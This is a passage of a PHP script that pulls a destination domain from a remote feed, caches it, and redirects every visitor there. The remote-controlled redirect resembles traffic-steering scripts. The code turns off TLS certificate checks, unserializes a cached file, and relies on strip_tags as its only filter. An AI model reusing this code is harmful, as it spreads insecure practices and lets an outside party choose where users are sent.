The service is temporarily down. Please try again later.'); } if(!file_exists(LOG)){ @touch(LOG); if(!is_writable(LOG)){ die(LOG.' file is not writable'); } } $data=array(); //Cached data if(file_exists(DATA)){ if(!is_readable(DATA)||!is_writable(DATA)) die(DATA.' file is not writable'); $serial=file_get_contents(DATA, LOCK_SH); $data=unserialize($serial); }else{ @touch(DATA); if(!is_readable(DATA)||!is_writable(DATA)) die(DATA.' file is not writable'); } //First start check. If something is missing, it is retrieved then. $firstRun=false; $needUpdate=array(); $needDataKeys=array($cacheKey); foreach($needDataKeys as $key){ if(!isset($data[$key])||empty($data[$key])){ $firstRun=true; $needUpdate[]=$key; } } if(!$firstRun){ //Estimating the time $currentTime=time(); if(empty($needUpdate)&&($currentTime-$data[$cacheKey][1])>($domainUpdatePeriod*60)) $needUpdate[]=$cacheKey; } //////////////// Update /////////////////// if(!empty($needUpdate)){ $ssl = array( 'verify_peer' => FALSE, 'allow_self_signed' => TRUE ); $opts = array( 'http'=>array( 'method'=>"GET", 'timeout'=>$updateTimeout, 'header'=>"Accept-language: en\r\n" . "Cookie: foo=bar\r\n" ), 'ssl' => $ssl ); $context = stream_context_create($opts); $logMessage=''; if($firstRun)$logMessage.="start update\n"; $dataUpdated=false; $fileHandle=fopen(DATA, 'a'); fseek($fileHandle, 0); $success=flock($fileHandle, LOCK_EX|LOCK_NB); if($success){ if(in_array($cacheKey, $needUpdate)){ $logMessage.='try update domain - '; $domain=file_get_contents($domainFeed.$parameters, false, $context); if(!empty($domain)&&!strstr($domain, 'ERROR_NO_DATA')){ $data[$cacheKey]=array($domain, time()); $logMessage.="success $domain\n"; $dataUpdated=true; }else{ $logMessage.="failed $domain\n"; } } if($dataUpdated){ $serial=serialize($data); fwrite($fileHandle, $serial); } } flock($fileHandle, LOCK_UN); fclose($fileHandle); if($dataUpdated){ $serial=serialize($data); file_put_contents(DATA, $serial, LOCK_EX); } file_put_contents(LOG, @date("m/d/Y h:i:s").' '.$logMessage, FILE_APPEND|LOCK_EX); } $url=$data[$cacheKey][0]; $url=strip_tags($url); //filter XSS atacks header("Location: $url"); die(); ?>